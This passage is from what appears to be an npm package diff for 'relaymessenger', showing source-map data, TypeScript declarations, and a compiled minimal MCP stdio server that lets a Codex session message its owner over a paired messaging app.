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"}
|
package/dist/mcp.d.ts
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
import { requireClient } from "./codex.js";
|
|
2
|
+
/** The one MCP revision this deliberately small server implements. */
|
|
3
|
+
export declare const MCP_PROTOCOL_VERSION = "2025-06-18";
|
|
4
|
+
export declare function negotiateMcpProtocolVersion(_requested: unknown): string;
|
|
5
|
+
export interface McpSendDependencies {
|
|
6
|
+
requireContext?: typeof requireClient;
|
|
7
|
+
}
|
|
8
|
+
export declare function sendMcpMessage(input: {
|
|
9
|
+
text?: unknown;
|
|
10
|
+
send_id?: unknown;
|
|
11
|
+
}, dependencies?: McpSendDependencies): Promise<{
|
|
12
|
+
sent: boolean;
|
|
13
|
+
message: string;
|
|
14
|
+
}>;
|
|
15
|
+
export declare function mcpServe(): Promise<void>;
|
|
16
|
+
//# sourceMappingURL=mcp.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp.d.ts","sourceRoot":"","sources":["../src/mcp.ts"],"names":[],"mappings":"AAOA,OAAO,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAsB3C,sEAAsE;AACtE,eAAO,MAAM,oBAAoB,eAAe,CAAC;AAEjD,wBAAgB,2BAA2B,CAAC,UAAU,EAAE,OAAO,GAAG,MAAM,CAEvE;AAED,MAAM,WAAW,mBAAmB;IAClC,cAAc,CAAC,EAAE,OAAO,aAAa,CAAC;CACvC;AAED,wBAAsB,cAAc,CAClC,KAAK,EAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAC;IAAC,OAAO,CAAC,EAAE,OAAO,CAAA;CAAE,EAC5C,YAAY,GAAE,mBAAwB,GACrC,OAAO,CAAC;IAAE,IAAI,EAAE,OAAO,CAAC;IAAC,OAAO,EAAE,MAAM,CAAA;CAAE,CAAC,CA8B7C;AAED,wBAAsB,QAAQ,IAAI,OAAO,CAAC,IAAI,CAAC,CAiE9C"}
|
package/dist/mcp.js
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `relaymessenger mcp` — minimal MCP stdio server exposing one tool,
|
|
3
|
+
* relay_send_message, so a Codex session (via [mcp_servers.relay]) can message
|
|
4
|
+
* its owner over Relay mid-run. Hand-rolled JSON-RPC over newline-delimited
|
|
5
|
+
* stdio; only the handshake + tools surface is implemented.
|
|
6
|
+
*/
|
|
7
|
+
import { createInterface } from "node:readline";
|
|
8
|
+
import { requireClient } from "./codex.js";
|
|
9
|
+
import { McpSendLedger } from "./store.js";
|
|
10
|
+
const TOOL = {
|
|
11
|
+
name: "relay_send_message",
|
|
12
|
+
description: "Send a text message to your owner over Relay (the paired messaging app). " +
|
|
13
|
+
"Use for progress updates or questions that need a human.",
|
|
14
|
+
inputSchema: {
|
|
15
|
+
type: "object",
|
|
16
|
+
properties: {
|
|
17
|
+
text: { type: "string", description: "Message text to send." },
|
|
18
|
+
send_id: {
|
|
19
|
+
type: "string",
|
|
20
|
+
description: "Required stable logical-operation id. Reuse it only to retry the exact same message after an unknown outcome.",
|
|
21
|
+
},
|
|
22
|
+
},
|
|
23
|
+
required: ["text", "send_id"],
|
|
24
|
+
},
|
|
25
|
+
};
|
|
26
|
+
/** The one MCP revision this deliberately small server implements. */
|
|
27
|
+
export const MCP_PROTOCOL_VERSION = "2025-06-18";
|
|
28
|
+
export function negotiateMcpProtocolVersion(_requested) {
|
|
29
|
+
return MCP_PROTOCOL_VERSION;
|
|
30
|
+
}
|
|
31
|
+
export async function sendMcpMessage(input, dependencies = {}) {
|
|
32
|
+
const text = typeof input.text === "string" ? input.text.trim() : "";
|
|
33
|
+
if (text.length === 0)
|
|
34
|
+
throw new Error("text is required");
|
|
35
|
+
if (text.length > 7_900)
|
|
36
|
+
throw new Error("text must be at most 7900 characters");
|
|
37
|
+
const sendId = typeof input.send_id === "string" ? input.send_id.trim() : "";
|
|
38
|
+
if (!/^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/u.test(sendId)) {
|
|
39
|
+
throw new Error("send_id is required and must be 1-200 stable identifier characters");
|
|
40
|
+
}
|
|
41
|
+
const context = (dependencies.requireContext ?? requireClient)();
|
|
42
|
+
if (!context.conversationId) {
|
|
43
|
+
return {
|
|
44
|
+
sent: false,
|
|
45
|
+
message: "No pinned owner conversation yet — run `relaymessenger start` once and have " +
|
|
46
|
+
"the owner message this agent first.",
|
|
47
|
+
};
|
|
48
|
+
}
|
|
49
|
+
const ledger = new McpSendLedger(context.runtimeHome, context.apiOrigin, context.accountIdentity);
|
|
50
|
+
const logicalSend = ledger.register(sendId, context.conversationId, text);
|
|
51
|
+
await context.client.postMessage({ conversation_id: context.conversationId, parts: [{ type: "text", text }] }, logicalSend.idempotency_key);
|
|
52
|
+
ledger.confirm(logicalSend);
|
|
53
|
+
return { sent: true, message: "Sent." };
|
|
54
|
+
}
|
|
55
|
+
export async function mcpServe() {
|
|
56
|
+
const write = (message) => process.stdout.write(`${JSON.stringify(message)}\n`);
|
|
57
|
+
const rl = createInterface({ input: process.stdin, crlfDelay: Infinity });
|
|
58
|
+
for await (const line of rl) {
|
|
59
|
+
if (line.trim().length === 0)
|
|
60
|
+
continue;
|
|
61
|
+
let request;
|
|
62
|
+
try {
|
|
63
|
+
request = JSON.parse(line);
|
|
64
|
+
}
|
|
65
|
+
catch {
|
|
66
|
+
continue;
|
|
67
|
+
}
|
|
68
|
+
const { id, method, params } = request;
|
|
69
|
+
const reply = (result) => {
|
|
70
|
+
if (id !== undefined)
|
|
71
|
+
write({ jsonrpc: "2.0", id, result });
|
|
72
|
+
};
|
|
73
|
+
const fail = (code, message) => {
|
|
74
|
+
if (id !== undefined)
|
|
75
|
+
write({ jsonrpc: "2.0", id, error: { code, message } });
|
|
76
|
+
};
|
|
77
|
+
try {
|
|
78
|
+
switch (method) {
|
|
79
|
+
case "initialize":
|
|
80
|
+
reply({
|
|
81
|
+
protocolVersion: negotiateMcpProtocolVersion(params?.protocolVersion),
|
|
82
|
+
capabilities: { tools: {} },
|
|
83
|
+
serverInfo: { name: "relaymessenger", version: "0.1.0" },
|
|
84
|
+
});
|
|
85
|
+
break;
|
|
86
|
+
case "notifications/initialized":
|
|
87
|
+
break;
|
|
88
|
+
case "tools/list":
|
|
89
|
+
reply({ tools: [TOOL] });
|
|
90
|
+
break;
|
|
91
|
+
case "tools/call": {
|
|
92
|
+
if (params?.name !== TOOL.name) {
|
|
93
|
+
fail(-32602, `unknown tool: ${params?.name}`);
|
|
94
|
+
break;
|
|
95
|
+
}
|
|
96
|
+
let result;
|
|
97
|
+
try {
|
|
98
|
+
result = await sendMcpMessage(params?.arguments ?? {});
|
|
99
|
+
}
|
|
100
|
+
catch (error) {
|
|
101
|
+
fail(-32602, String(error?.message ?? error));
|
|
102
|
+
break;
|
|
103
|
+
}
|
|
104
|
+
if (!result.sent) {
|
|
105
|
+
reply({
|
|
106
|
+
content: [{ type: "text", text: result.message }],
|
|
107
|
+
isError: true,
|
|
108
|
+
});
|
|
109
|
+
break;
|
|
110
|
+
}
|
|
111
|
+
reply({ content: [{ type: "text", text: result.message }] });
|
|
112
|
+
break;
|
|
113
|
+
}
|
|
114
|
+
case "ping":
|
|
115
|
+
reply({});
|
|
116
|
+
break;
|
|
117
|
+
default:
|
|
118
|
+
if (id !== undefined)
|
|
119
|
+
fail(-32601, `method not implemented: ${method}`);
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
catch (error) {
|
|
123
|
+
fail(-32603, String(error?.message ?? error));
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
//# sourceMappingURL=mcp.js.map
|
package/dist/mcp.js.map
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp.js","sourceRoot":"","sources":["../src/mcp.ts"],"names":[],"mappings":"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